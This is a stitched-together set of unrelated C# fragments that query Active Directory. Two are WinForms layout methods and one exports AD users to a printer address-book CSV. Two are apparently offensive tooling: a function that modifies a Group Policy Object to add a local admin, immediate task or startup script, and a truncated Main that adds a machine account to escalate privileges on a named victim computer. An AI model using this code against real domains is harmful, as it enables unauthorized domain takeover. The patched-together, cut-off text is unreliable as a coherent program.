this.groupBoxShots.Controls.Add(this.textBoxKeyword); this.groupBoxShots.Controls.Add(this.btnEditShotInfo); this.groupBoxShots.Controls.Add(this.btnPlayShot); this.groupBoxShots.Location = new System.Drawing.Point(291, 322); this.groupBoxShots.Name = "groupBoxShots"; this.groupBoxShots.Size = new System.Drawing.Size(272, 211); this.groupBoxShots.TabIndex = 21; this.groupBoxShots.TabStop = false; this.groupBoxShots.Text = "Shots"; // // listBoxShots // this.listBoxShots.FormattingEnabled = true; this.listBoxShots.Location = new System.Drawing.Point(6, 53); this.listBoxShots.Name = "listBoxShots"; this.listBoxShots.Size = new System.Drawing.Size(207, 147); this.listBoxShots.TabIndex = 29; // // textBoxKeyword // this.textBoxKeyword.Location = new System.Drawing.Point(6, 22); this.textBoxKeyword.Name = "textBoxKeyword"; this.textBoxKeyword.Size = new System.Drawing.Size(207, 20); this.textBoxKeyword.TabIndex = 27; // // groupBoxCanvas // this.groupBoxCanvas.Controls.Add(this.panelCanvas); this.groupBoxCanvas.Location = new System.Drawing.Point(12, 33); this.groupBoxCanvas.Name = "groupBoxCanvas"; this.groupBoxCanvas.Size = new System.Drawing.Size(551, 215); this.groupBoxCanvas.TabIndex = 22; this.groupBoxCanvas.TabStop = false; // // groupBoxShotDetection // this.groupBoxShotDetection.Controls.Add(this.panelParameters); this.groupBoxShotDetection.Controls.Add(this.lblShotDetectionMethod); this.groupBoxShotDetection.Controls.Add(this.btnDetectShots); this.groupBoxShotDetection.Controls.Add(this.comboBoxDetectionMethod); this.groupBoxShotDetection.Location = new System.Drawing.Point(12, 322); this.groupBoxShotDetection.Name = "groupBoxShotDetection"; this.groupBoxShotDetection.Size = new System.Drawing.Size(273, 211); this.groupBoxShotDetection.TabIndex = 23; this.groupBoxShotDetection.TabStop = false; this.groupBoxShotDetection.Text = "Shot Detection"; // // panelParameters // this.panelParameters.Location = new System.Drawing.Point(9, 53); this.panelParameters.Name = "panelParameters"; this.panelParameters.Size = new System.Drawing.Size(250, 150); this.panelParameters.TabIndex = 2; // // lblShotDetectionMethod // this.lblShotDetectionMethod.AutoSize = true; this.lblShotDetectionMethod.Location = new System.Drawing.Point(6, 25); this.lblShotDetectionMethod.Name = "lblShotDetectionMethod"; this.lblShotDetectionMethod.Size = new System.Drawing.Size(92, 13); this.lblShotDetectionMethod.TabIndex = 1; this.lblShotDetectionMethod.Text = "Detection Method"; // // btnDetectShots // this.btnDetectShots.Enabled = false; this.btnDetectShots.Image = global::Tisda.Properties.Resources.DetectShots; this.btnDetectShots.Location = new System.Drawing.Point(222, 19); this.btnDetectShots.Name = "btnDetectShots"; this.btnDetectShots.Size = new System.Drawing.Size(40, 25); this.btnDetectShots.TabIndex = 0; this.btnDetectShots.UseVisualStyleBackColor = true; this.btnDetectShots.Click += new System.EventHandler(this.buttonDetectShots_Click); // // comboBoxDetectionMethod // this.comboBoxDetectionMethod.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.comboBoxDetectionMethod.FormattingEnabled = true; this.comboBoxDetectionMethod.Location = new System.Drawing.Point(104, 21); this.comboBoxDetectionMethod.Name = "comboBoxDetectionMethod"; this.comboBoxDetectionMethod.Size = new System.Drawing.Size(112, 21); this.comboBoxDetectionMethod.TabIndex = 0; this.comboBoxDetectionMethod.SelectedIndexChanged += new System.EventHandler(this.comboBoxDetectionMethod_SelectedIndexChanged); // // directorySearcher // this.directorySearcher.ClientTimeout = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher.ServerTimeLimit = System.TimeSpan.Parse("-00:00:01"); // // groupBoxExport // this.groupBoxExport.Controls.Add(this.btnExportFrames); this.groupBoxExport.Controls.Add(this.btnExportShotInfo); this.groupBoxExport.Location = new System.Drawing.Point(291, 255); this.groupBoxExport.Name = "groupBoxExport"; this.groupBoxExport.Size = new System.Drawing.Size(272, 61); this.groupBoxExport.TabIndex = 24; this.groupBoxExport.TabStop = false; this.groupBoxExport.Text = "Export controls"; // // FormTisda // this.AutoScaleBaseSize = new System.Drawing.Size(5, 13); this.ClientSize = new System.Drawing.Size(569, 561); this.Controls.Add(this.groupBoxExport); this.Controls.Add(this.groupBoxShotDetection); this.Controls.Add(this.groupBoxCanvas); this.Controls.Add(this.groupBoxShots); this.Controls.Add(this.groupBoxVideoControls); this.Controls.Add(this.statusStrip); this.Controls.Add(this.menuStrip); this.MainMenuStrip = this.menuStrip; this.Name = "FormTisda"; this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; this.Text = "Tisda! The Intense Shot Detection Application"; this.groupBoxVideoControls.ResumeLayout(false); this.menuStrip.ResumeLayout(false); this.menuStrip.PerformLayout(); this.statusStrip.ResumeLayout(false); this.statusStrip.PerformLayout(); this.groupBoxShots.ResumeLayout(false); this.groupBoxShots.PerformLayout(); this.groupBoxCanvas.ResumeLayout(false); this.groupBoxShotDetection.ResumeLayout(false); this.groupBoxShotDetection.PerformLayout(); this.groupBoxExport.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); }
private void InitializeComponent() { var resources = new System.ComponentModel.ComponentResourceManager(typeof(pictureViwer)); var BorderEdges1 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); var StateProperties1 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.StateProperties(); var StateProperties2 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.StateProperties(); PictureBox1 = new PictureBox(); _DirListBox1 = new Microsoft.VisualBasic.Compatibility.VB6.DirListBox(); _DirListBox1.Click += new EventHandler(DirListBox1_Click); DirectorySearcher1 = new System.DirectoryServices.DirectorySearcher(); _FileListBox1 = new Microsoft.VisualBasic.Compatibility.VB6.FileListBox(); _FileListBox1.SelectedIndexChanged += new EventHandler(FileListBox1_SelectedIndexChanged); _DriveListBox1 = new Microsoft.VisualBasic.Compatibility.VB6.DriveListBox(); _DriveListBox1.SelectedIndexChanged += new EventHandler(DriveListBox1_SelectedIndexChanged); Label1 = new Label(); Label2 = new Label(); Label3 = new Label(); _saveButton = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); _saveButton.Click += new EventHandler(Button1_Click); ((System.ComponentModel.ISupportInitialize)PictureBox1).BeginInit(); SuspendLayout(); // // PictureBox1 // PictureBox1.BorderStyle = BorderStyle.Fixed3D; PictureBox1.Location = new Point(330, 54); PictureBox1.Margin = new Padding(2); PictureBox1.Name = "PictureBox1"; PictureBox1.Size = new Size(141, 161); PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; PictureBox1.TabIndex = 1; PictureBox1.TabStop = false; // // DirListBox1 // _DirListBox1.FormattingEnabled = true; _DirListBox1.IntegralHeight = false; _DirListBox1.Location = new Point(13, 45); _DirListBox1.Margin = new Padding(2); _DirListBox1.Name = "_DirListBox1"; _DirListBox1.Size = new Size(262, 122); _DirListBox1.TabIndex = 3; // // DirectorySearcher1 // DirectorySearcher1.ClientTimeout = TimeSpan.Parse("-00:00:01"); DirectorySearcher1.ServerPageTimeLimit = TimeSpan.Parse("-00:00:01"); DirectorySearcher1.ServerTimeLimit = TimeSpan.Parse("-00:00:01"); // // FileListBox1 // _FileListBox1.Font = new Font("Microsoft Sans Serif", 12.0f, FontStyle.Regular, GraphicsUnit.Point, Conversions.ToByte(0)); _FileListBox1.FormattingEnabled = true; _FileListBox1.Location = new Point(11, 203); _FileListBox1.Margin = new Padding(2); _FileListBox1.Name = "_FileListBox1"; _FileListBox1.Pattern = "*.*"; _FileListBox1.Size = new Size(264, 180); _FileListBox1.TabIndex = 4; // // DriveListBox1 // _DriveListBox1.FormattingEnabled = true; _DriveListBox1.Location = new Point(161, 20); _DriveListBox1.Margin = new Padding(2); _DriveListBox1.Name = "_DriveListBox1"; _DriveListBox1.Size = new Size(75, 21); _DriveListBox1.TabIndex = 5; // // Label1 // Label1.AutoSize = true; Label1.BackColor = Color.White; Label1.Font = new Font("Microsoft Sans Serif", 9.857143f, FontStyle.Bold, GraphicsUnit.Point, Conversions.ToByte(0)); Label1.ForeColor = Color.FromArgb(Conversions.ToInteger(Conversions.ToByte(192)), Conversions.ToInteger(Conversions.ToByte(64)), Conversions.ToInteger(Conversions.ToByte(0))); Label1.Location = new Point(13, 21); Label1.Margin = new Padding(2, 0, 2, 0); Label1.Name = "Label1"; Label1.Size = new Size(142, 20); Label1.TabIndex = 6; Label1.Text = "Select the folder"; // // Label2 // Label2.AutoSize = true; Label2.BackColor = Color.White; Label2.Font = new Font("Microsoft Sans Serif", 9.857143f, FontStyle.Bold, GraphicsUnit.Point, Conversions.ToByte(0)); Label2.ForeColor = Color.FromArgb(Conversions.ToInteger(Conversions.ToByte(192)), Conversions.ToInteger(Conversions.ToByte(64)), Conversions.ToInteger(Conversions.ToByte(0))); Label2.Location = new Point(11, 179); Label2.Margin = new Padding(2, 0, 2, 0); Label2.Name = "Label2"; Label2.Size = new Size(144, 20); Label2.TabIndex = 7; Label2.Text = "Select the image"; // // Label3 // Label3.AutoSize = true; Label3.BackColor = Color.White; Label3.Font = new Font("Microsoft Sans Serif", 9.857143f, FontStyle.Bold, GraphicsUnit.Point, Conversions.ToByte(0)); Label3.ForeColor = Color.FromArgb(Conversions.ToInteger(Conversions.ToByte(192)), Conversions.ToInteger(Conversions.ToByte(64)), Conversions.ToInteger(Conversions.ToByte(0))); Label3.Location = new Point(361, 30); Label3.Margin = new Padding(2, 0, 2, 0); Label3.Name = "Label3"; Label3.Size = new Size(70, 20); Label3.TabIndex = 8; Label3.Text = "Preview"; // // saveButton // _saveButton.AllowToggling = false; _saveButton.AnimationSpeed = 200; _saveButton.AutoGenerateColors = false; _saveButton.BackColor = Color.Transparent; _saveButton.BackColor1 = Color.Teal; _saveButton.BackgroundImage = (Image)resources.GetObject("saveButton.BackgroundImage"); _saveButton.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; _saveButton.ButtonText = "Use image"; _saveButton.ButtonTextMarginLeft = 0; _saveButton.ColorContrastOnClick = 45; _saveButton.ColorContrastOnHover = 45; _saveButton.Cursor = Cursors.Hand; BorderEdges1.BottomLeft = true; BorderEdges1.BottomRight = true; BorderEdges1.TopLeft = true; BorderEdges1.TopRight = true; _saveButton.CustomizableEdges = BorderEdges1; _saveButton.DialogResult = DialogResult.None; _saveButton.DisabledBorderColor = Color.Empty; _saveButton.DisabledFillColor = Color.FromArgb(Conversions.ToInteger(Conversions.ToByte(204)), Conversions.ToInteger(Conversions.ToByte(204)), Conversions.ToInteger(Conversions.ToByte(204))); _saveButton.DisabledForecolor = Color.FromArgb(Conversions.ToInteger(Conversions.ToByte(168)), Conversions.ToInteger(Conversions.ToByte(160)), Conversions.ToInteger(Conversions.ToByte(168))); _saveButton.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Pressed; _saveButton.Font = new Font("Segoe UI Semibold", 11.12727f, FontStyle.Bold, GraphicsUnit.Point, Conversions.ToByte(0)); _saveButton.ForeColor = Color.White; _saveButton.IconLeftCursor = Cursors.Hand; _saveButton.IconMarginLeft = 11; _saveButton.IconPadding = 10; _saveButton.IconRightCursor = Cursors.Hand; _saveButton.IdleBorderColor = Color.Teal; _saveButton.IdleBorderRadius = 3; _saveButton.IdleBorderThickness = 1; _saveButton.IdleFillColor = Color.Teal; _saveButton.IdleIconLeftImage = null; _saveButton.IdleIconRightImage = null; _saveButton.IndicateFocus = true; _saveButton.Location = new Point(347, 231); _saveButton.Name = "_saveButton"; StateProperties1.BorderColor = Color.MediumTurquoise; StateProperties1.BorderRadius = 3; StateProperties1.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; StateProperties1.BorderThickness = 1; StateProperties1.FillColor = Color.MediumTurquoise; StateProperties1.ForeColor = Color.White; StateProperties1.IconLeftImage = null; StateProperties1.IconRightImage = null; _saveButton.onHoverState = StateProperties1; StateProperties2.BorderColor = Color.Teal; StateProperties2.BorderRadius = 3; StateProperties2.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; StateProperties2.BorderThickness = 1; StateProperties2.FillColor = Color.Teal; StateProperties2.ForeColor = Color.White; StateProperties2.IconLeftImage = null; StateProperties2.IconRightImage = null; _saveButton.OnPressedState = StateProperties2; _saveButton.Size = new Size(102, 33); _saveButton.TabIndex = 9; _saveButton.TextAlign = ContentAlignment.MiddleCenter; _saveButton.TextMarginLeft = 0; _saveButton.UseDefaultRadiusAndThickness = true; // // pictureViwer // AutoScaleDimensions = new SizeF(6.0f, 13.0f); AutoScaleMode = AutoScaleMode.Font; BackColor = Color.White; ClientSize = new Size(485, 395); Controls.Add(_saveButton); Controls.Add(Label3); Controls.Add(Label2); Controls.Add(Label1); Controls.Add(_DriveListBox1); Controls.Add(_FileListBox1); Controls.Add(_DirListBox1); Controls.Add(PictureBox1); FormBorderStyle = FormBorderStyle.FixedSingle; Icon = (Icon)resources.GetObject("$this.Icon"); Margin = new Padding(2); MaximizeBox = false; MinimizeBox = false; Name = "pictureViwer"; StartPosition = FormStartPosition.Manual; Text = "Employee Photo"; ((System.ComponentModel.ISupportInitialize)PictureBox1).EndInit(); ResumeLayout(false); PerformLayout(); }
// Updage GPT.ini so that changes take effect without gpupdate /force public static void UpdateVersion(String Domain, String distinguished_name, String GPOName, String path, String function) { String line = ""; List <string> new_list = new List <string>(); if (!File.Exists(path)) { Console.WriteLine("[-] Could not find GPT.ini. The group policy might need to be updated manually using 'gpupdate /force'"); } // get the object of the GPO and update its versionNumber System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(displayName=" + GPOName + ")"; string[] requiredProperties = new string[] { "versionNumber", "gPCMachineExtensionNames" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine(ex.Message + "[!] Exiting..."); System.Environment.Exit(0); } int new_ver = 0; if (result != null) { System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry(); // get AD number of GPO and increase it by 1 new_ver = Convert.ToInt32(entryToUpdate.Properties["versionNumber"].Value) + 1; entryToUpdate.Properties["versionNumber"].Value = new_ver; // update gPCMachineExtensionNames to add local admin if (function == "AddLocalAdmin" || function == "AddNewRights") { try { if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]")) { entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"; } } catch { entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"; } } // update gPCMachineExtensionNames to add immediate task if (function == "NewImmediateTask") { try { if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]")) { entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]"; } } catch { entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]"; } } // update gPCMachineExtensionNames to add startup script if (function == "NewStartupScript") { try { if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]")) { entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]"; } } catch { entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]"; } } try { // Commit changes to the security descriptor entryToUpdate.CommitChanges(); Console.WriteLine("[+] versionNumber attribute changed successfully"); } catch (System.Exception ex) { Console.WriteLine(ex.Message); Console.WriteLine("[!] Could not update versionNumber attribute!\nExiting..."); System.Environment.Exit(0); } } else { Console.WriteLine("[!] GPO not found!\nExiting..."); System.Environment.Exit(0); } using (System.IO.StreamReader file = new System.IO.StreamReader(path)) { while ((line = file.ReadLine()) != null) { if (line.Replace(" ", "").Contains("Version=")) { line = line.Split('=')[1]; line = "Version=" + Convert.ToString(new_ver); } new_list.Add(line); } } using (System.IO.StreamWriter file2 = new System.IO.StreamWriter(path)) { foreach (string l in new_list) { file2.WriteLine(l); } } Console.WriteLine("[+] The version number in GPT.ini was increased successfully."); if (function == "AddLocalAdmin") { Console.WriteLine("[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.\n[+] Done!"); } else if (function == "NewStartupScript") { Console.WriteLine("[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.\n[+] Done!"); } else if (function == "NewImmediateTask") { Console.WriteLine("[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.\n[+] Done!"); } else if (function == "AddNewRights") { Console.WriteLine("[+] The GPO was modified to assign new rights to target user. Wait for the GPO refresh cycle.\n[+] Done!"); } }
public void DatenAusAd() { try { // Deklaration für das DirectoryEntry System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry(Properties.Settings.Default.Organisationseinheit); string DomainDN = System.Convert.ToString(entry.Properties["DefaultNamingContext"].Value); System.DirectoryServices.DirectoryEntry ADEntry = new System.DirectoryServices.DirectoryEntry(Properties.Settings.Default.Organisationseinheit + DomainDN); System.DirectoryServices.DirectorySearcher mySearcher = new System.DirectoryServices.DirectorySearcher(ADEntry); mySearcher.Filter = "(& (objectCategory=Person)(objectClass=user)(sAMAccountName=*" + "*.*" + "))"; string VollenUserNamen = Environment.UserName; string User = VollenUserNamen.Remove(0, 2); // Barthelmes Font SchriftMuliFett10 = new Font("Muli", 10.0F); // StandardText in der csv datei m übernommen aus der Originaldatei string StandardText = "#Registrationsdaten" + Environment.NewLine + "#Format Version:3.1.6.0" + Environment.NewLine + "#Exportdatum: 07/14/2018 10:39:49" + Environment.NewLine + "#Gerätename:" + Environment.NewLine + "#Adresse:" + Environment.NewLine + "#Registrations-Nr.,Typ,Name,Anwendernamen-Anzeige,Index,Oft,Titel 1,Titel 2,Titel 3,E-Mail-Adresse,Name verwenden als,Absender schützen,Passwort,Anwendercode/Gerätelogin-Anwendername,Gruppen, denen der Anwender angehört,Destinazione fax,Faxziel,Linientyp,Internationaler Übertragungsmodus,Fax-Header,Name einfügen 1. Zeile (Wahl),Name einfügen 2. Zeile (Zeichenkette),Ordner schützen,Passwort-Verschlüsselung,Protokoll,Anschluss-Nr.,Servername,Pfad,Anwendername,Japanischer Zeichencode,Zugriffsprivileg auf Anwender,Zugriffsprivileg auf Geschützte Dateien,IP-Faxprotokoll,IP-Faxziel,Login-Passwort für Gerät,Passwortverfahren,SMTP-Authentifizierung,SMTP-Authentifizierung: Login-Anwendername,SMTP-Authentifizierung: Login-Passwort,Passwortverfahren,Ordner-Authentifizierung,Ordner-Authentifizierung: Login-Passwort,Passwortverfahren,LDAP-Authentifizierung,LDAP-Authentifizierung: Login-Anwendername,LDAP-Authentifizierung: Login-Passwort,Passwortverfahren,Direkt SMTP,Anzeigepriorität" + Environment.NewLine + "<index>,<type>,<name>,<displayName>,<phoneticName>,<common>,<tagSet1>,<tagSet2>,<tagSet3>,<address>,<isSender>,<protect>,<password>,<userCode>,<group>,<faxNumber>,<lineType>,<isAbroad>,<ttiNo>,<label1>,<label2String>,<messageNo>,<protectFolder>,<passwordEncoding>,<folderProtocol>,<ftpPort>,<folderServer>,<folderPath>,<folderUser>,<ftpCharCoding>,<entryACL>,<documentACL>,<IPfaxProtocol>,<IPfaxAddress>,<authPassword>,<passwordEncoding2>,<SMTPAuth>,<SMTPUser>,<SMTPPassword>,<passwordEncoding3>,<folderAuth>,<folderPassword>,<passwordEncoding4>,<LDAPAuth>,<LDAPUser>,<LDAPPassword>,<passwordEncoding5>,<DirectSMTP>,<displayPriority>" + Environment.NewLine; // Standardeinträge einer .csv datei generieren this.TextBox4.AppendText(StandardText); // Für jeden eintrag in der AD, erstelle einen String und schreibe in die Textbox foreach (System.DirectoryServices.SearchResult resEnt in mySearcher.FindAll()) { System.DirectoryServices.DirectoryEntry de = resEnt.GetDirectoryEntry(); // Deklarationen string Username = de.Properties["samAccountName"].Value.ToString(); string value = Username; int startIndex = 2; int length = 1; string substring = value.Substring(startIndex, length); int NamenstastenNummer = 0; string DruckerStringOhneEmail = ""; // Den Usernamen müssen wir noch Formatieren: aus h.barthelmes wird H. Barthelmes string substring2 = Username.Substring(0, 1).ToUpper() + Username.Substring(1); // Wir schreiben das H góß string substring3 = Username.Substring(0, 3).ToUpper() + Username.Substring(3); // Wir schreiben das B Groß string substring4 = Username.Substring(0, 3).ToUpper() + Username.Substring(3); string original = substring4; string modifiedUsername = original.Insert(2, " "); // der punkt wird durch ein leerzeichen ersetzt // Hier werden die Nachnamen den Namenstasten zugeordnet AB = 1 BC = 2 DE if (substring == "a" | substring == "ä" | substring == "b") { NamenstastenNummer = 1; } else if (substring == "c" | substring == "d") { NamenstastenNummer = 2; } else if (substring == "e" | substring == "f") { NamenstastenNummer = 3; } else if (substring == "g" | substring == "h") { NamenstastenNummer = 4; } else if (substring == "i" | substring == "j" | substring == "k") { NamenstastenNummer = 5; } else if (substring == "l" | substring == "m" | substring == "n") { NamenstastenNummer = 6; } else if (substring == "o" | substring == "ö" | substring == "p" | substring == "q") { NamenstastenNummer = 7; } else if (substring == "r" | substring == "s" | substring == "t") { NamenstastenNummer = 8; } else if (substring == "u" | substring == "ü" | substring == "v" | substring == "w") { NamenstastenNummer = 9; } else if (substring == "x" | substring == "y" | substring == "z") { NamenstastenNummer = 10; } else { NamenstastenNummer = 1;// Falls der name ein umlaut hat, wird der wert der Namenstaste auf 1 gesetzt } // Dim KurzerName As String = modifiedUsername.Substring(0, 5) if (modifiedUsername.Count() - 1 > 12) { DruckerStringOhneEmail = "[" + i + "], [A],[" + modifiedUsername + "],[" + modifiedUsername.Substring(0, 11) + "],,[0],[" + NamenstastenNummer + "],[0],[0],,[0],,,,,,,,,,,,[0], [omitted],[0],,,[" + Properties.Settings.Default.UserHomePfad + "" + Username + "],,,,,,,, [omitted],[0],,, [omitted],[2],, [omitted],[0],,, [omitted],,[5]"; } else { DruckerStringOhneEmail = "[" + i + "], [A],[" + modifiedUsername + "],[" + modifiedUsername + "],,[0],[" + NamenstastenNummer + "],[0],[0],,[0],,,,,,,,,,,,[0], [omitted],[0],,,[" + Properties.Settings.Default.UserHomePfad + "" + Username + "],,,,,,,, [omitted],[0],,, [omitted],[2],, [omitted],[0],,, [omitted],,[5]"; } this.TextBox4.AppendText(DruckerStringOhneEmail + Environment.NewLine); // Zähler hochzählen i = i + 1; } List <string> UserMitEmail = new List <string>(); List <string> MeinArray = new List <string>(); if (System.IO.File.Exists(Pfad) == true) { using (System.IO.StreamReader StreamReader = new System.IO.StreamReader(Pfad)) { do { MeinArray.Add(StreamReader.ReadLine()); }while (StreamReader.Peek() < 0); } foreach (string Zeile in MeinArray) { UserMitEmail.Add(Zeile); } } else { } System.DirectoryServices.DirectoryEntry entry2 = new System.DirectoryServices.DirectoryEntry(Properties.Settings.Default.Organisationseinheit); string DomainDN2 = System.Convert.ToString(entry2.Properties["DefaultNamingContext"].Value); System.DirectoryServices.DirectoryEntry ADEntry2 = new System.DirectoryServices.DirectoryEntry(Properties.Settings.Default.Organisationseinheit + DomainDN2); System.DirectoryServices.DirectorySearcher mySearcher2 = new System.DirectoryServices.DirectorySearcher(ADEntry2); System.DirectoryServices.SearchResultCollection oResults2; try { // Für jeden eintrag in der AD, erstelle einen String und schreibe in die Textbox foreach (string mitarbeiter in rtbUsermitMail.Lines) { if (mitarbeiter != "") { mySearcher2.Filter = "(& (objectClass=Person)(sAMAccountName=*" + mitarbeiter + "))"; oResults2 = mySearcher2.FindAll(); // Für jeden eintrag in der AD, erstelle einen String und schreibe in die Textbox foreach (System.DirectoryServices.SearchResult resEnt in mySearcher2.FindAll()) { // Deklarationen System.DirectoryServices.DirectoryEntry de = resEnt.GetDirectoryEntry(); // Deklarationen string Email = de.Properties["mail"].Value.ToString(); string Username = de.Properties["samAccountName"].Value.ToString(); string value = Username; int startIndex = 2; int length = 1; string substring = value.Substring(startIndex, length); int NamenstastenNummer = 0; string DruckerStringMitDrucker = ""; // Den Usernamen müssen wir noch Formatieren: aus h.barthelmes wird H. Barthelmes string substring2 = Username.Substring(0, 1).ToUpper() + Username.Substring(1); // Wir schreiben das H góß string substring3 = Username.Substring(0, 3).ToUpper() + Username.Substring(3); // Wir schreiben das B Groß string substring4 = Username.Substring(0, 3).ToUpper() + Username.Substring(3); string original = substring4; string modifiedUsername = original.Insert(2, " "); // der punkt wird durch ein leerzeichen ersetzt // Hier werden die Nachnamen den Namenstasten zugeordnet AB = 1 BC = 2 DE if (substring == "a" | substring == "ä" | substring == "b") { NamenstastenNummer = 1; } else if (substring == "c" | substring == "d") { NamenstastenNummer = 2; } else if (substring == "e" | substring == "f") { NamenstastenNummer = 3; } else if (substring == "g" | substring == "h") { NamenstastenNummer = 4; } else if (substring == "i" | substring == "j" | substring == "k") { NamenstastenNummer = 5; } else if (substring == "l" | substring == "m" | substring == "n") { NamenstastenNummer = 6; } else if (substring == "o" | substring == "ö" | substring == "p" | substring == "q") { NamenstastenNummer = 7; } else if (substring == "r" | substring == "s" | substring == "t") { NamenstastenNummer = 8; } else if (substring == "u" | substring == "ü" | substring == "v" | substring == "w") { NamenstastenNummer = 9; } else if (substring == "x" | substring == "y" | substring == "z") { NamenstastenNummer = 10; } else { NamenstastenNummer = 1;// Falls der name ein umlaut hat, wird der wert der Namenstaste auf 1 gesetzt } // Dim KurzerName As String = modifiedUsername.Substring(0, 5) if (modifiedUsername.Count() - 1 > 12) { DruckerStringMitDrucker = "[" + i + "], [A],[" + modifiedUsername + "],[" + modifiedUsername.Substring(0, 11) + "],,[0],[8],[0],[0],[" + Email + "],[0],,,,,,,,[1],,,[0],, [omitted],,,,,,,,,,,, [omitted],[0],,, [omitted],[0],, [omitted],[0],,, [omitted],[0],[5]"; } else { DruckerStringMitDrucker = "[" + i + "], [A],[" + modifiedUsername + "],[" + modifiedUsername + "],,[0],[8],[0],[0],[" + Email + "],[0],,,,,,,,[1],,,[0],, [omitted],,,,,,,,,,,, [omitted],[0],,, [omitted],[0],, [omitted],[0],,, [omitted],[0],[5]"; } // Dim DruckerStringMitDrucker As String = "[" & i & "], [A],[" & modifiedUsername & "],[" & modifiedUsername & "],,[0],[8],[0],[0],[" & Email & "],[0],,,,,,,,[1],,,[0],, [omitted],,,,,,,,,,,, [omitted],[0],,, [omitted],[0],, [omitted],[0],,, [omitted],[0],[5]" this.TextBox4.AppendText(DruckerStringMitDrucker + Environment.NewLine); // Zähler hochzählen i = i + 1; } } } } catch { } } // Änderung an der Fehlerbehandlung vorenommen, mit internetverbindug Testen ob verbindung zu stande kommt catch (System.Runtime.InteropServices.COMException ex) { } finally { // Server wird jedesmal hinzugefügt, kann aber änderungen beinhalten, daher die möglichkeit geben das der User das von aussen ändern kann //string Server = "[" + i + "], [A],[Server],[Server],,[1],[0],[1],[1],,[0],,,,,,,,,,,,[0],[omitted],[0],,,[" + Properties.Settings.Default.ServerSMBPfad + @"],,,,,,,,[omitted],[0],,,[omitted],[2],,[omitted],[0],,,[omitted],,[5]"; //this.TextBox4.AppendText(Server + Environment.NewLine); Speichern(); } }
static void Main(string[] args) { if (args.Length < 2) { Usage(); return; } var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf('='); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } } if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm")) { Usage(); return; } String DomainController = arguments["dc"]; String Domain = arguments["domain"]; String new_MachineAccount = ""; String new_MachineAccount_password = ""; //添加的机器账户 if (arguments.ContainsKey("ma")) { new_MachineAccount = arguments["ma"]; } else { new_MachineAccount = RandomString(8); } //机器账户密码 if (arguments.ContainsKey("ma")) { new_MachineAccount_password = arguments["mp"]; } else { new_MachineAccount_password = RandomString(10); } String victimcomputer = arguments["tm"];; //需要进行提权的机器 String machine_account = new_MachineAccount; String sam_account = ""; String DistinguishedName = ""; if (machine_account.EndsWith("$")) { sam_account = machine_account; machine_account = machine_account.Substring(0, machine_account.Length - 1); } else { sam_account = machine_account + "$"; } String distinguished_name = DistinguishedName; String victim_distinguished_name = DistinguishedName; String[] DC_array = null; distinguished_name = "CN=" + machine_account + ",CN=Computers"; victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers"; DC_array = Domain.Split('.'); foreach (String DC in 